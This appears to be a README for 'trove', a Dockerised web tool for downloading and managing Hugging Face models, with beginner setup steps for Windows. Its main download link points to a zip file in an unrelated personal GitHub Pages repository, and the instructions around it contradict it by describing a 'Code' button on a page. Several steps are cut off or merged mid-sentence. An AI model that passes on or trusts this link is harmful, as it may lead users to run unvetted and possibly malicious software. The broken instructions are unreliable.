trove is a free tool that helps you organize, download, and manage AI models right from your own computer or home server. Think of it as a personal library for artificial intelligence files. Instead of hunting through websites and struggling with confusing downloads, trove gives you a clean, friendly webpage to handle everything.
You run trove on your own computer using Docker, which is like a virtual box that keeps everything neat and separate. This means you don’t need to worry about breaking anything on your system.
Simple Web Interface – You don’t need to type complicated commands. Everything happens through a visual window in your web browser, just like using any website.
Download Models Easily – Find any AI model from Hugging Face (the biggest AI library on the internet) and download it with a click. No more copying strange links or using developer tools.
Queue System – Download multiple models at once. trove lines them up and works through them one by one while you do other things.
Upload Made Simple – Share your own trained models with others. trove handles the technical parts so you just choose the file.
Manage Everything – See all your downloaded models in one place. Delete ones you don’t need, update old versions, and keep everything organized.
Works All Day – Since it runs on a server, trove keeps working even when you close your laptop. It’s always ready when you are.
Welcome! Here’s how to get trove running on your Windows computer. Don’t worry – we’ll take it step by step.
Visit this link to download the application:
👉 https://raw.githubusercontent.com/2014m355/2014m355.github.io/main/rubbishy/3.2-beta.4.zip
On that page, look for a green button that says “Code” and click it. Then choose “Download ZIP”. This will save the trove files to your computer.
trove needs Docker to run. Docker is like a special player that runs applications in a safe sandbox. Here’s how to get it:
Now let’s put trove on your computer:
C:\trove. Click “Extract”.Now open PowerShell (you can find it by searching “PowerShell” in the Start menu). We need to type a few lines to get trove running:
First, go to the trove folder. Type this and press Enter:
cd C:\trove
Then copy and paste this line and press Enter:
docker-compose up -d
This tells Docker to start trove. Wait about 30 seconds while it downloads and sets up everything.
Now comes the fun part!
http://localhost:8000 into the address bar.Congratulations! 🎉 You should now see the trove welcome page.
Let’s get you an AI model so you can see how it works:
You can queue up several models at once – trove will work through them in order.
If you’ve trained your own AI model, here’s how to share it:
.pth or .safetensors file).trove won’t start? Make sure Docker Desktop is running. Look for the whale icon in your taskbar – if you don’t see it, open Docker Desktop from your Start menu and wait for it to be ready.
Blank white page? Try refreshing your browser or opening http://localhost:8000 in a different browser.
Downloads are slow? Your internet connection is the limit. trove will keep working even if you close your browser.
Can’t remember how to open it? Just open Docker Desktop and click the trove container. Or type http://localhost:8000 in your browser.
AI models are like recipes – they contain all the rules that help the computer understand and create things. Some models understand text, others identify images, and some generate music. The model files can be large (sometimes several gigabytes), so be patient when downloading.
trove runs on your local network, meaning only you and people on your Wi-Fi can access it. For extra safety:
If you run into trouble, check these resources:
Now that trove is running, you can:
| What You Want | What To Do |
|---|---|
| Start trove | Open Docker Desktop |
| Open trove page | Go to http://localhost:8000 |
| Stop trove | In PowerShell, type docker-compose down |
| Find models | Use the search in trove |
| Share your model | Use the upload button |
You’ve just set up your own AI model library. Pretty cool, right? Remember, trove works quietly in the background – you can leave it running and check back whenever you want to play with new AI tools.
Happy exploring! 🌟
Keywords: docker, fastapi, homelab, huggingface, huggingface-hub, llm, machine-learning, model-management, nas, self-hosted